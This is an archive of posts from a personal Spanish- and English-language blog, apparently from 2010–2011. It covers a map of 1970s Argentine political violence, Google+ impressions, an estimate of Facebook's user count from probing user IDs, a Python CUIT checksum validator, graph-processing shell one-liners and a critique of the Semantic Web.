blog.mechpoet.net

Mapa de violencia política en los 70s

2011-12-04T06:05:00.000-08:00

AVISO: Como todo tema político tan delicado cualquier palabra precisa que use de más o de menos denota facciones políticas y posturas históricas y/o personales. Así que tengan en cuenta que este artículo fue realizado con fines educativos y puede contener (y contiene) información incompleta, incorrecta y/o tendenciosa.

Luego de ver que había gente trabajando en analizar textos sobre la última dictadura (proyecto MAPA76, twitter, presentación), se me ocurrió geolocalizar info de la última dictadura o de esa época o década. Posibles aplicaciones que pensaba en una lluvia de ideas (brainstorming) fueron:

Geolocalizar funcionarios de la dictadura en un mapa actual. Hicieron algo parecido para un mapa de juicios a genocidas. Técnicamente con una lista de gente se podría geolocalizar también cualquier tipo de actores.
Detectar si hay errores en las lista de gente desaparecida. Por ejemplo gente que fue registrada como desaparecida pero actualmente tienen domicilio.
Hacer una animación geográfica y temporal del período incluyendo atentados subversivos y detenciones forzosas de personas para comprender el período geográficamente.

Al final me incliné por hacer un prototipo de animación geográfica y temporal. Usé dos fuentes de datos, porque entendía que debía visualizar atentados subversivos y desapariciones de personas. Lo cual llevó a observar a gente que vió el mapa que el mismo defendía la Teoría de los Dos Demonios. A ese respecto puedo decir dos cosas:

Estoy de acuerdo en incluir la violencia guerrillera en el análisis: "la represión emprendida por la dictadura militar no puede ser analizada sin considerar también el accionar de los grupos de guerrilla urbana".
No estoy de acuerdo que en que la violencia ejercida por la guerrilla sea comparable con la ejercida por el Estado. En el mapa se vé, por ejemplo, que la actividad violenta del Estado oficial en esa época es mucho mayor que la clandestina ejercida por la guerrilla: no comparto que "los actos de violencia y terrorismo perpetrados por las Fuerzas Armadas durante el Terrorismo de Estado en Argentina en las décadas de 1970 y 1980‎ en la Argentina son comparables y se relacionan a los actos de violencia y terrorismo de las organizaciones guerrilleras".

La fuente de datos de desaparecidos fue el Grupo Farenheit (esta caído ahora parece, mi copia aca). La fuente de datos de atentados subversivos es una lista que círcula por foros, enciclopedias de tinte nacionalistas y círculos informales (mi copia aca). No es exclusiva de la organización guerrillera Montoneros.

VER MAPA EN LA SOLAPA COMPLETA

<p>&amp;lt;br /&amp;gt; &amp;lt;p&amp;gt;Your browser does not support iframes.&amp;lt;/p&amp;gt;</p>

Primeras impresiones de Google Plus (Google+)

2011-08-09T11:54:00.000-07:00

Introducción

Apenas nos enteramos del nuevo producto de redes de sociales de Google (Google Plus, 2011) recordamos el fracaso en difusión y retención de usuarios del mayor lanzamiento de Google de 2010: Google Wave. Nos imaginamos que Wave fracasó por intentaron revolucionar con una alternativa experimental un nicho (e-mail) que ya tenían dominado (o en vías de dominar, por superioridad técnica de GMail).

Uno podría especular que Google ya tiene varias redes sociales en este momento y no necesita lanzar otra red social. Por ejemplo la red específica de videos YouTube contabiliza aproximadamente 176 millones de usuarios sociales. Pero si comparamos este número contra los 1000 millones actuales de Facebook y los supuestos 200 millones de Twitter (una búsqueda web dice 25M versus noticias oficiaales que dice 200M). Google también tiene la red social Orkut con más de 100 millones de usuarios sociales (según sus dichos, porque según una búsqueda no hay mas de 31 millones de páginas públicas). El problema aparente de Orkut es que se usa principalmente en Brasil y en la India, paises del Tercer Mundo. (Estamos hablando de perfiles, usuario sociales, no de la visitas únicas que contabilizan los sitios de tracking web que es un número mayor en general.) Nos imaginamos que no quieren rediseñar YouTube, uno de sus productos de cabecera, para agregarle la funcionalidad que necesita para competir con Facebook. Así que aquí estamos con Google Plus. Lo que sí se ve es que Google absorbió PicasaWeb y Buzz (productos que no son líderes en su segmento) para aprovechar sus features y su masa crítica de usuarios. No olvidemos que unos de los principales usos de Facebook es como red social de fotos y como red social de nanoblogging.

Principales características

En una primera impresión se pueden observar en Google+ (G+) tres tipos de características:

Las copiadas a Facebook u otras redes sociales.
Las que viene de otros servicios de Google, ahora incorporados/conectados a Google+.
Las carácterísticas novedosas, para darle una vuelta de tuerca al asunto y completar el paquete.

1. Las características copiadas a Facebook o a otras redes sociales son:

Perfil personal y detallado de cada usuario.
Alertas en rojo aparecen en la barra superior cuando ocurre un evento que nos puede interesar (por ejemplo, comentan un artículo nuestro). Esta barra ahora unificada para todos los servicios de Google es decir las alertas en teoría invaden todos los servicios. En particular, comprobamos que aparecen en Gmail.
Publicación de contenido en un muro personal de cada usuario. En G+ aparece como Posts en el perfil de usuario.
El muro de los contactos se mezcla e integra en tiempo real en una lista de publicaciones. En G+ lo llaman stream (flujo, caudal o corriente).
Sugerencias de nuevos contactos, para extender nuestras listas de amigos.
Mensajería privada entre usuarios.
Carpetas de fotos.
Listas de contactos clasificadas a mano.
Teleconferencia (video y audio) grupal, similar a lo más útil de Skype.
Comentarios y boton de gusto (+1) para las publicaciones.

2. Las que viene de otros servicios de Google:

Para las carpetas de fotos G+ integra directamente los albumes de Google Picasa Web, es decir son los mismos albumes de el mismo usuario/login (e-mail) de Gmail.
Para teléfonos móviles aprovecharon la penetración de mercado que tiene Android y su versión de G+ para móviles se integra fuertemente con esa plataforma. El objetivo es compartir contenido móvil en G+.
Parece que Hangouts, el feature de teleconferencia de G+ es tecnicamente una extensión del chat grupal de Gmail pero que incluye también video y audio grupal (Gmail tiene chat grupal y teleconferencia individual solamente).

3. Características novedosas:

Listas de contactos faciles de usar (Circles en G+). Facebook (FB) tiene la posibilidad de clasificar a los contactos de un usuario en diferentes lista, pero es solo una opción bastante díficil de usar (hay que buscarla y es más incómoda la confección de las listas). La ventaja que tiene G+ es que mediante drag&drop la confección de la lista es mucho más sencilla.
Recomendador de noticias temáticas (Sparks). Esta función solo se entiende para alimentar las publicaciones de usuarios (botón de Share) que no tengan nada que publicar. Se listas actuales de noticias basadas en una consulta disjuntiva (OR) de etiquetas. Esta carácterística es novedosa dentro de una red social pero existen servicio externo del mismo tipo. Por ejemplo Google News es mejor que Sparks porque se pueden hacer cualquier tipo de consultas (AND/conjuntivas también) pero News no tiene el botón directo de compartir (Share).

Conclusión

Como nota final vamos a recordar que el nombre en código interno del proyecto en Google+ era Emerald Sea (Mar Esmeralda). Siendo esmeralda el color de los dólares nos da pensar que esperan sacarle una porción importante a Facebook de la torta de servicios de redes sociales y luego navegar en el verde. O tal vez simplemente miraron por la ventana su moderno jardín. En breve también analizaremos las características de privacidad de G+, teniendo en cuenta que es lo que más preocupa a los usuarios de redes sociales.

Leer también "Como invitar contactos a Google+ (mandar invitaciones)".

Como invitar contactos a Google+ (mandar invitaciones)

2011-07-14T10:48:00.001-07:00

Descarga: tengan en cuenta que no me hago responsable de cualquier problema de privacidad o seguridad que tengan en Google+, es un producto experimental y solo recomiendo que lo prueben, no pongan información personal y preferentemente no asocien el producto a su cuenta de e-mail personal.

Esta es una pequeña receta para invitar a tus amigos a Google Plus (Google+) una vez que ustedes ya tienen cuenta.

Una vez dentro de Google+ vayan a la sección de Circles, logo con los circulitos.
Ahí dentro hacen click en Add New Person y agregan e-mail y nombre de la persona. Debería aparecer para el caso de Alicia Private Life asi en la lista de gente.

Hacen doble click sobre la nueva persona. Les debería aparecer la opción de Invite people to join you on Google+. Le debería llegar a esa persona un e-mail como el que sigue, por lo menos funciona si la otra persona usa Gmail, con otro tipo de cuenta no probé. Debería esta hacer click en el mismo para entrar a la página de ingreso a Google+ y aceptar unirse al producto.

Si la opción de hacer doble click no funciona o no tiene mas invitación entonces lo que pueden hacer es agregarla a un círculo y luego yendo a su propio muro (Home) y mandando un mensaje para ese círculo marcando la opción de enviar e-mail a los que no usan Google+. Es decir, hacer tick donde dice Also email 1 persons not yet using Google+.
Finalmente le debería llegar a la persona que mensajearon un e-mail como el que mostramos y debería hacer click en el mismo para entrar a la página de ingreso a Google+ y aceptar unirse al producto, que esta en modo beta o de prueba actualmente.

Estimating Facebook Number of Users with Binary Search

2011-05-17T12:33:00.000-07:00

I get tired of marketing people saying "Facebook has 500 million users", "FB has 1 billion users". So I made I little experiment on the estimation of Facebook exact number of users. The results was 1,051,785,857 users! That is a little over 1 Billion users! The result is not surprising if you read that Facebook founder said one year ago that the wanted to reach that number and they receive about 700 thousand new users per day.

Now I detail the details, further work can be done by anyone to make the estimation accurate on any time.

Facebook users are identified by a USERID like 1340269186 or 100011808654570. Apparently the are two possibilities for users ids:

The id is not available, for example user id 666666. In spanish, this is the resultSo the range of available ids can be tracked manually or with a script using binary search. These are the results excepting for some Facebook employees that have ids below 10000. Ranges: [500090001..1777798795] + [100000000000004..100002390891367]. Longer user ids starting with 10000 are the newer ones after reaching 1777798795 (you have to update this number to make the estimation dynamic). If Facebook includes 700 thousand new user per day we expect this number to increase accordingly. The number of aprox. available ids is 3,668,600,157.
Now not all user ids are in-use. Some ids belong in the past to users who closed their accounts. I suspect also that Facebook leaves available id unused for internal debugging and administrative processes. In either case the distribution of used ids inside the ranges we described in 1) is apparently random. So we have to estimate the distribution density assuming a uniform distribution of used ids. This is how unused id look like, like id (spanish locale) 1340269187 The density was 0.286700 used ids per each unused id. The script uses 1000 samples but you can test a bigger batch if you are not confident of the results.

Update!: I found this paper published this year...

[PDF] Estimating Sizes of Social Networks via Biased SamplingFile Format: PDF/Adobe Acrobat - Quick View
by L Katzir - Cited by 1 - Related articles 1 Apr 2011 ... years and their number of users is already measured in many ...... 1, 000, 000 Facebook users and tried to estimate the size of ... www.www2011india.com/proceeding/proceedings/p597.pdf

¡Convertí tus VHS a DVD o PC en Buenos Aires!

2011-04-11T10:38:00.000-07:00

La imaginación está autorizada para soñar.
A la memoria se le exhorta a ser verdadera.
-- Paul Ricoeur

Aviso: la calidad de la imagen en los cassettes VHS se degenera en pocos años y eventualmente la cinta, fabricada con un derivado del petróleo, se empieza a desintegrar liberando una sustancia aceitosa y oscura. La única forma de garantizar el almacenamiento de la información en el tiempo es en formatos digitales como DVD o WMV, y haciendo copias periódicas para anticipar cualquier contingencia.

PRECIO :

$50 por cassette VHS. (Actualizado 10/12/2011)
$30 por cassette de audio. (Actualizado 10/12/2011)

PRODUCTO: se entregan 1 DVDs por cassette VHS a convertir. 1 (un) CD en el caso de audio

1 DVD con video en formato AVI para ver en PCs y reproductores de DVD compatibles con AVI. El formato WMV se puede subir a YouTube.

Consultas y Pedidos Correo electrónico y MSN Windows Live Messenger:Ubicación para iniciar y retirar pedidos confirmados en la Ciudad de Buenos Aires:

Monroe 1500 (entre calles Libertador y Montañeses). Barrio de Belgrano.
25 de Mayo 400 (entre Corrientes y Lavalle). Barrio de San Nícolas (Microcentro!)

Delivery: si se encargan 5 o más cassettes VHS se incluye el delivery dentro de Capital Federal sin cargo para las zonas de Nuñez, Belgrano, Colegiales, Palermo, Recoleta y Microcentro.

My First Poem Written in Python Code

2011-04-06T10:44:00.000-07:00

#!/usr/bin/python
# -*- coding: iso-8859-15 -*-
#
######   Poem in Python   #######
#################################
#              by               #
#     José Ignacio Orlicki      #
#     therm000@gmail.com        #
# 6th of April, 2011 - 02:49 PM #
#################################

# Compiling and printing nice poem 
# Python 2.6.5

your_own_money = 'energy'
your_voice = 'thunder'
life = 'unborn alphabet of desires'
pain = 'unborn'

def dreaming(state, but):
 try:
     yield your_voice
 except:
     for coins in your_pocket:
         print your_own_money 
 finally:
     with your_eyes as food:
         print __doc__ and poetry     

 pass
 gestures = 'change'
 for people in the_street:
     lambda signs: signs and gestures
 exit()

while life.startswith( pain ):
 while False or None:
     continue
 print None or __name__+' '+your_voice
 life = life.replace('desires','desire').replace(' alphabet of','')
 life = life.replace('un','')
 dreaming(None or True, not False )
 pain is not your_voice

print life

Timba: ideas para un lenguaje funcional y probabilístico

2011-04-06T05:52:00.000-07:00

Seguimos poniendo cosas que estaría bueno hacer pero no hay tiempo. Si alguien quiere laburar en este tema puede robar la idea, poné al autor del este blog como N-ésimo autor del paper (donde N > 3) y listo.

Hace un par de meses luego de leer la noticia sobre enfoques unificados de inteligencias artificial (A grand unified theory of AI) y el paper correspondiente al lenguaje de modelado estocástico Church, no había una cuestión super revolucionaria en el tema pero que sí puede ser útil tener un lenguaje de ese tipo. En concreto puede ser útil para consultar fuentes de datos semi-estructuradas como Twitter, hacer encuestas y los cálculos stadísticos correspondientes (por ejemplo para Stock Trading). Lo que no gustó de Church es que es un fragmento de LISP, un lenguaje del 1958, es decir pionero para su época pero hoy en día es anticuado y sintácticamente recargado (por lo menos en los paréntesis).

Entonces el desafío es implementar un lenguaje de similares carácterísticas estocásticas, a-la Church pero con un diseño más moderno. Para los que no lo saben Alonzo Church fue un pionero de lógica matemática y la computación que prácticamente inventó la computación como Turing pero con un enfoque distinto, el cálculo lambda.

Entonces las características de Church que hay que mantener son:

la evaluación del expresiones del lenguaje tiene ser un sampleo estocástico;
consultas especiales para inferencias probabilística condicional;
memoización de resultados anteriores durante un cómputo, una optimización para no repetir algunos cómputos/sampleos;
todo esto incrustado de forma natural dentro del lenguaje para que no haya que describir las inferencias a mano cada una (este punto no parece muy claro, tal vez es obvio por eso no se entiende muy bien).

Las posibles herramientas involucradas en el diseño pueden ser:

Alguna herramienta moderna para el diseño de Domain Specific Languages puede ser piola. Por ejemplo dicen que Ruby tiene mucho soporte para DSLs, y además Ruby ya viene con expresiones lambda como LISP así que puede ser adecuado.
Para la parte estocástica, ya sea sampleo uniforme o con distintas distribuciones se puede usar alguna librería moderna de probabilidades. Por ejemplo RSRuby es para hacer cálculos de forma similar al lenguaje estadístico R. Hay muchas librerías para elegir para Ruby.

Al lenguaje se lo puede bautizar Tomás (por el matemático Tomás Bayes, pionero de la probabílidad) o sino directamente Timba, un nombre más argentino en referencia a los juegos de azar.

Syntax highlighting for Alloy language with gedit

2011-04-05T09:25:00.000-07:00

Something simple but useful. How to highlight Alloy code with gedit? Gedit is my favorite text editor for Linux. Alloy is a modeling languages based on lightweight formal methods.

First we must find the location of GtkSourceView:

$ locate gtksourceview
.
/usr/share/gtksourceview-2.0/language-specs/java.lang
/usr/share/gtksourceview-2.0/language-specs/haskell.lang
.

In my case I run Ubuntu Linux 10.04 LTS and gedit 2.30.3 and I tested the highlightingwith the default GtkSourceView, that is 2.0. I based my XML specification of the highlighting in the Java highlighting.

Finally just copy (with sudo) file alloy.lang (this is the last version) to folder /usr/share/gtksourceview-2.0/language-specs/ (in this case).

It also highlights some reserved words of extension DynAlloy, such as assume, pre, post, call and program. Don't forget to comment any mistake.

A sample screenshot. Thanks.

Metanoia: ideas para un MORPG simbólico, terapéutico y psicomágico

2011-02-02T12:37:00.000-08:00

Me surgió una idea que es hacer un juego de computadora revolucionario. Se va a llamar Metanoia. Todavía no esta clara la plataforma si será móvil, vía web o de escritorio, pero eso no es lo importante. Me parece importante también que si es con fines terapéuticos o poéticos que sea sin fines de lucro.

Va a usar características disponibles hoy en juegos informáticos, que son:

Animación de un mundo en tres dimensiones (motor 3D).
Customización Web 2.0, la gente genera su propio contenido personalizado para su gusto y el de sus amigos.
Juegos en línea, protocolos para jugar de forma colaborativa.

Hay que desarrollar tecnologías para las siguientes características:

Importar objetos fotográficos y conceptuales del mundo web 2.0 al juego de forma automática. Por ejemplo el usuario en Twitter dice "me gustan los perros caniche", luego en el juego debería aparecer un perro caniche si Twitter es una fuente valida configurada por el usuario. Otro ejemplo podría ser que aparezcan amigos del usuario en 3D con tecnología para adaptar fotos a figuras 3D. Obviamente también se podrían crear objetos bajo demanda del jugador. Para ello hay que recuperar "meshes" 3D de Internet o fabricarlos bajo demanda.
Posibilidad de manipular los objetos del juego de forma flexible ya sea vía alguna interfaz mecánica (mouse, pad, acelerómetro) o conceptual (traduciendo ordenes o historias a eventos en el juego). Por ejemplo, el jugador podría usar el mouse para chocar su auto favorito contra una pared o podría describir una fabula o escena en la cual objetos de su infancia como juguetes van juntos en una aventura por el bosques.
Que haya algoritmos para manejar cuestiones simbólicas y terapéuticas de Psicomagia. Por ejemplo el jugador esta enojado con su padre porque le dió su afecto a alguna otra actividad, entonces que el juego incluya un objeto simbólico paternal que el jugador pueda destruir para luego reconciliarse simbolicamente con su padre.
Como resultado de que el juego sea multi-jugador puede resultar interesante que los jugadores tengan un "karma" o nivel de psicomagia en base a ser favoritos/recomendados de otros psicomagos. Los jugadores permite a otro psicomago ver su espacio 3D privado para que este le haga sugerencias sobre que acciones son convenientes. Luego el jugador puede decidir marcar positivamente o negativamente la acción del invitado. Hay que tener en cuenta que el juego solo debe estar disponible para gente conciente y que se pueda hacer responsable de las acciones (que serán sin fines de lucro) dentro del juego. Tal vez se puede pedir un test psicologico para entrar al juego (?), es decir que sea terapeutico solo para cuestiones leves como neurosis en principio. Para enfermedades más graves que no sea colaborativo o solamente colaborativo con expertos en el area de la enfermedad.

Enlaces:

Reduccionistas Humorísticos

2010-12-14T10:17:00.001-08:00

Los reduccionistas y su humor endemoniado. Agrego un par más de reducciones.

La Sociología se solo Psicología aplicada. La Psicología es solo Biología aplicada. La Biología es solo Química aplicada. La Química es solo Física aplicada. La Física es solo Matemática aplicada. La Matématica es solo Computación aplicada. La Computación es solo Lógica aplicada. La Lógica aplicada es solo Filosofía aplicada. La Filosofía es solo Metafísica aplicada. La Metafísica es solo Misticismo aplicado.

La Sociología es solo Misticismo aplicado, lo que hay en el medio solo son papers, y cuantos papers, ¡y que útiles!

Verificar CUIT/CUIL usando el Modulus 11 en Python

2010-11-18T14:40:00.000-08:00

Basado en una versión de 10 dígitos de Pablo Canello para el CUIT/CUIL de Argentina en Visual Basic (en la Wikipedia), implementé una versión del algoritmo de control de códigos llamado Modulus 11 en Python.

En el caso del CUIL/CUIT de Argentina el código de contro de un dígito es el último, por ejemplo 8 para 20-29582925-8. De cualquier manera este código se usa en mucho otros lados, ya que fue diseñado para bancos por HP.

#!/usr/bin/python
# -*- coding: utf-8 -*-

def VerificarModulus11(Numero, CodigoUnDigito):
   '''
    Input en la forma: 

    Numero="23-34568734" y CodigoUnDigito="7"
    o 
    Numero=2334568734 y CodigoUnDigito=7
    '''


   if str(Numero) != Numero:
       Numero = str(Numero)

   x = 0
   factor = 2
   for c in reversed(Numero):

       try:
           int(c)
       except ValueError:
           # not numeric
           continue           
       else:
           # numeric
           x += int(c) * factor
           factor += 1
           if factor == 8:
               factor = 2
   #Calcula el dígito de control.
   Control = (11 - (x % 11)) % 11
   #Verifica si el dígito de control ingresado
   # difiere con el calculado.
   return Control == int(CodigoUnDigito)


if __name__ == '__main__':

   print '4 OK'
   print VerificarModulus11( '20-29582925', '8' )
   print VerificarModulus11( 3065876301, '2' )
   print VerificarModulus11( 2029582925, '8' )
   print VerificarModulus11( 3065876301, 2 )
   print '4 Not OK'
   print VerificarModulus11( '20-29582925', '7' )
   print VerificarModulus11( 3065876301, '3' )
   print VerificarModulus11( 2029582925, '4' )
   print VerificarModulus11( 3065876301, 1 )

Se cayó el sistema: tarjetas de débito duplicadas

2010-11-08T11:58:00.000-08:00

En esta ocasión les voy a contar una curiosidad bancaria que me ocurrió. Espero que alguien me pueda explicar que pasó o la información les sea de utilidad para evitar futuras complicaciones.

Pierdo las tarjetas de débito en el recital de Rush.
Cancelo las tarjetas de débito llamando al servicio de denuncia de Banelco. Cancelo 3 tarjetas de débito, una de Standard Bank, una de Patagonia y una del Banco Francés.
A los pocos días llega por correo postal una nueva tarjeta de débito del Banco Patagonia junto con una tarjeta de débito nueva del Standard Bank.
Pruebo las tarjetas y nos funcionan, estaban inválidas.
Luego de algunos días más llega por correo postal un código PIN de Banelco, pero no especifica a que tarjeta pertenece o para que sirve. Yo asumia previamente que las tarjetas nueva se activaban con el primer uso (¿no es inseguro eso?). Ahora parece que mandan el PIN por correo postal aunque no terminé de entender para qué.
Pasan más días y llegan más tarjetas de débito por correo postal. Standard Bank me manda ahora otra tarjeta duplicada de la anterior (?) y una tarjeta extra más con una nota que diciendo "la anterior fue invalidada no la use". Es decir me mandaron en total 3 tarjetas de Standard Bank.
Ninguna de las tarjeta de Standard Bank funcionó.
Voy al Banco Standard Bank y pido una blanqueo de tarjeta para poder usar alguna. Confundida la cajera consulta con un compañero y llegan a la conclusión mirando el sistema que la última tarjeta es la válida, la blanquean y felizmente... ¡funciona!

Mis explicaciones posibles son:

El operador de denuncias de Banelco se confundió y me pidió 1 tarjeta de Patagonia y 2 de Standard en vez de una de Patagonia, una de Standard y una de Francés. Luego se dió cuenta y canceló las de Standard y pidió otra para mí.
Alguién encontró mi tarjeta débito de Standard Bank antes que yo la denuncie y haciendo algún uso o llamado a algún servicio se la cancelaron y automáticamente mandaron nuevas tarjetas. Este hecho se repitió en dos ocasiones.
Es un bug del software de Banelco según el cual si cancelas varias tarjetas al mismo tiempo hay errores. Esta explicación no parece muy plausible porque se supone que sus sistemas estan recontra-probados.

La nota de color curiosa del historia es que la última tarjtea de Standard Bank tiene un color azul un poco más claro que las otras. ¿Será una estrategia del banco para distinguir ediciones de las tarjetas o las tarjetas duplicadas que mandaron son falsas y forman parte de algun estafa (esta es la alternativa conspiranoica)?

Visualizando Retweets con Sonia

2010-11-02T12:58:00.000-07:00

Estuve haciendo unas pruebas con Gephi para visualizar grafos dinámicos de Twitter, en este caso retweets. Con Gephi 0.7beta tuve problemas porque no se puede hacer todo automático (hay que mover el cursor temporal a mano) y además no esta muy estable la característica dinámica.

Finalmente probé con SoNIA 1.2.0 y tuve resultados muy buenos. ¡Excelente herramienta!

Nodos: usuarios de Twitter
Conexiones: dirigidas, retweets o mensajes reenviados en Twitter, desde emisor a seguidor que reenvia el mensaje
1000 ReTweets (usando Twitter API)
Desde Sat Jun 05 2010 19h29m33s hasta 21h20m58s
Tiempo total 1 hora 50 minutos aprox
Visualización: Sonia 1.2.0
Ubicación inicial circular, dinámica tipo resorte
Fracciones de tiempo, 2 minutos, duración de los RTs 4 minutos

Observamos:

La distribución temporal de RTs/rumor no es uniforme
Ídem para distribución de tamaño/difusión del rumor

El próximo paso sería hacer una visualizaciÓn para algun tweet que haya tenido mucha difusión, dado que los tweets que recolecté en esta ocasión son diversos se vé que no llegan mucho lejos, es decir, no se difundieron mucho.

VER EN TAMAÑO GRANDE

Huge Graph Manipulation: Symmetrizing a Directed Edgelist Graph

2010-09-24T10:51:00.000-07:00

After months of struggling with efficient proccesing of graph on Python, I am starting to use very old tools from the bash command line to process graph. Remember: Always return to the basics.
In this case we want to extract the maximal symmetric subgraph of a directed graph and convert it to it's undirected representation. It is common to work with edge list representation file including one edge per line, without repeated edges.
The idea is to:

Swap directed edges resulting in a lexicographical order for source and destination for each edge. Needed for next step. Using awk tool.
Sort edges to put together symmetric connections, i.e. nodes connected by edges in both directions. Needed for the next step. Using sort tool.
Filter repeated edges. That is, print only edge with more than one ocurrence. Use uniq tool.

cat graph.txt | awk -F'[ ]' '{ if ($1 <= $2) print $1, $2; else print $2, $1 }' | sort | uniq -d > graph.txt.symm

I benchmarked this one line script in my computer (Core 2 Duo 2.66MGz, 1GB RAM) with a LiveJournal social networks involving 77 million directed edges and the result was obtained after 20 minutes: 28 million undirected edges!
The secret behind standard POSIX tools is the correct usage of memory and disk to sort and process files. These tools don't abuse memory nor disk.

Logo Plagiarism, Facebook, Currency and New World Order (and Illusions)

2010-08-06T23:52:00.001-07:00

We continue these logo plagiarism series with a conspiratorial discovery. In this case we noticed that the World Bank logo is very similar to the logo of the newly 2010 data protocol designed by Facebook to take over the Semantic Web arena: the Open Graph Protocol. Watch it by yourself and analyse it, the message is clear, they want to became the most important World Database. Curiously, at the same time Facebook was presenting the Open Graph Protocol, they were also presenting their Facebook currency. Virtual money to be used in games and possibly everywhere via micropayments and mobile phones. For the sake of irony, both logos are known to produce an optical illusion when seen, famous virtual dots in the line-crossings (grid illusion). Read also about the rest of the Facebook plan: The Future of Facebook.

World Bank Logo (by Anonymous banker)
Open Graph Protocol Logo (by Facebook)

Facebook Currency Logo (a.k.a Credits)

Blogging Deja-vu: Ghost Posts

2010-08-02T23:22:00.000-07:00

Is not the first time that a blog post appears in my Google Reader besides being erased in the present time feed. In this case a post by Michael Zalewski, a Security Researcher (upper-case). He is apparently working for Google now, and he was blogging about the relation between the WikiLeaks versus USA affair and the disclosure of security vulnerabilities endless debate. Censorship? Conspiracy? Who knows, in either case mirroring the post is worthwhile due to the relevancy of the writer.

Linguistic deja vu
from lcamtuf's blog by Michal Zalewski
1 person liked this
The New York Times, July 2010 (link):
"Steven Aftergood, head of the project on government secrecy at the Federation of American Scientists, in his blog posting on June 28 accused WikiLeaks of 'information vandalism' with no regard for privacy or social usefulness.
'WikiLeaks must be counted among the enemies of open society because it does not respect the rule of law nor does it honor the rights of individuals,' he wrote."
Scott Culp, October 2001 (link):
"If we can't eliminate all security vulnerabilities, then it becomes all the more critical that we handle them carefully and responsibly when they're found. Yet much of the security community handles them in a way that fairly guarantees their use, by following a practice that's best described as information anarchy.
It's simply indefensible for the security community to continue arming cybercriminals."

Una invitación crítica a la Web Semántica

2010-08-01T21:27:00.000-07:00

Estoy empezando a leer un libro sobre la Web Semántica: A Semantic Web Primer. Con mayúsculas, esa que auguran ávidos comedores de subsidios científicos, prometiendo un futuro de transacciones automáticas, confort y agentes web que nos hacen las compras mientras nos rascamos el ombligo.

Para invitarlos a meterse de lleno en este fantástico mundo que tal vez felizmente desemboque en una web mejorada voy a criticar algunos puntos conceptuales turbios del status quo científico sobre el tema. Espero que esto nos permita luego avanzar hacia una versión mejorada de la web semántica que podremos llamar Web Ergonómica. También la podemos llamar como se nos plazca.

Wrappers: programas para extraer información estructurada de datos poco o nulamente estructurados. Ejemplos: Reconocimiento óptico de carácteres, expresiones regulares para extraer precios de comercios online.
Their functionality is provided by wrappers, programs that extract information from an online store. [..] This heuristic approach is error-prone; it is not always guaranteed to work.
Entonces los wrappers serían malos porque no son confiables. Tal vez habría que hacer mas precisa la tasa de error y propiedades de los wrappers. Pero no se pueden evitar a menos que querramos obligar a todo el mundo a usar los mismos formatos, de la misma manera, o querramos tirar a la basura todos los datos historicos que tenemos.
Hay mucho enfasis (enfatitis?) en B2C y B2C, es decir aplicaciones para el consumidor final e inter-negocios.
Auctioning, negotiations, and drafting contracts will be carried out automatically (or semiautomatically) by software agents.
Pareciera como si quisieran que la actividad humana fuera dejada en manos de máquinas, que operarían y vivirían por nosotros, mientras nos dedicamos a interpretar sus interfaces amigables. Esto esta un poco en contradicción con un punto que veremos más abajo, que es la prueba de veracidad de los resultados de la consultas y operaciones.
La consistencia como obviedad y requisito primero.
This [semantic web] information could then be used for context-specific presentation of pages, advanced querying, and consistency verification.
Ya es difícil meter una misma oración los conceptos de consistencia y presentación dependiente del contexto. Más luego como mantener la consistencia si los repositorios de datos, es decir las fuentes, son heterogéneas y, lo más importante, controladas por sistemas (políticamente) autónomos.

Extraña jerarquía de capas. Usualmente cuando se habla de un diseño por capas es para lograr cierta independencia entre características del sistema. Pero no acá. Parecería que el significado es otro. Queremos "downward compatibility of languages", y "partial upward compatibility of languages". Esto básicamente seria que si un interprete de ontología entiende OWL entonces tiene que entender XML, porque OWL esta descripto con XML. Si hacemos una analogía con lenguajes de alto nivel y bajo nivel, esto no seria cierto porque para que un interprete entienda Java no hace falta que conozca el código de máquina abstracta de Java ni el código de máquina Intel (en niveles inferiores). Luego parecería que como diseño de capas no es bueno o realmente no se quiere independencia de los distintos niveles, por ejemplo reglas de deducción y ontologías/categorías.

Proof: todas las respuestas son verificables por el usuario, porque todas tiene un desarrollo/deducción lógica de donde vinieron. Puede pasar que la deducción de algo importante sea muy largo e impracticable de verificar a ojo. También puede pasar que sea necesario verificar en sí los elementos de la demostracion per se, de esta manera necesitamos otro sistema IA/web semantico para verificar la verificación y así sucesivamente.
Hay un sobre enfasis en seguridad y confianza.
Being located at the top of the pyramid, trust is a high-level and crucial concept: the Web will only achieve its full potential when users have trust in its operations (security) and in the quality of information provided.
Esto esta bien por ejemplo para una aplicación financiera, donde no se quiere perder dinero y se quiere que la gente confíe (sino no va a usarla). Otro ejemplo tal vez menos explicito pero mas interesante. Si la gente/sistemas web generan mucha información negativa sobre un jugador de fútbol, más alla de si es bueno o no, esta información puede indicar que el jugador juega en primera división. Es decir también son importantes las propiedades y filtros cuantitativos, (volumen, tiempo) no solamente los filtros cualitivativos (confiable, seguro).
Hay un problema más ético de fondo que es la delegación de la responsabilidad sobre decisiones a los agentes web inteligentes. Debería la web asistir al hombre que toma decisiones en vez de la web tomar la decisiones. De alguna manera habría que categorizar que tan abstracta o importante es una decisión para ver si la queremos delegar a una máquina, en vez de por defecto delegar lo máximo o todo. Es decir no todo funciona como dentro de una compañia o corporación comercial con objetivos claros, en esos casos sí es mas facil delegar a una computadora para abaratar costos.

Concluyendo, en mi humilde opinión, tengamos en cuesta más los datos heredados, tengamos en cuenta que apuntamos a un mejoramiento humano del conocimiento sobre el mundo, tengamos en cuenta que la consistencia distribuida es una fantasía, tengamos en cuenta que las capas y estándares son para ganar independencia en vez de lo contrario, tengamos en cuenta la confianza y la seguridad pero es más importante en este contexto la colaboración y las medidas cuantivativas, finalmente modelicemos dentro de este contexto también la cuestión máquina-hombre a la hora de tomar decisiones equilibradas.

En breve espero seguiré escribiendo y críticando conceptos y herramientas de la web semántica. Otros pequeños artículos del blog relacionados son:

The social media fun is over, or Google is sending contacts to Facebook

2010-07-15T12:41:00.000-07:00

Welly well, apparently the fun in social media is over. Google is sharing your contacts now with Facebook. There is no chance to separate your friends and family from your co-workers and providers (they are the same?). We will click and accept this unless we understand what is happenning.

Obviously, Google has began to surrender part of their social data in this social media fight for audience, within the attention-equals-money economy.
Will Facebook take over another arenas such as nanoblogging, online advertising, currency or semantic web?
I am most worried about Facebook taking over the electronic government arena. NGOs and democratic dependencies are increasingly using this social site as headquarters for communications and political propaganda, despite the fact that Facebook commonly censors individuals closing accounts.

The Future of Facebook

2010-05-03T11:53:00.000-07:00

Well, my friends, I will post a summary of the main talk at f8, the FB developer conference, that I have just viewed deferred. Basically they comment broadly the evolution of the Facebook API available for apps and how was implemmented the new interconnection with other sites more or less social.

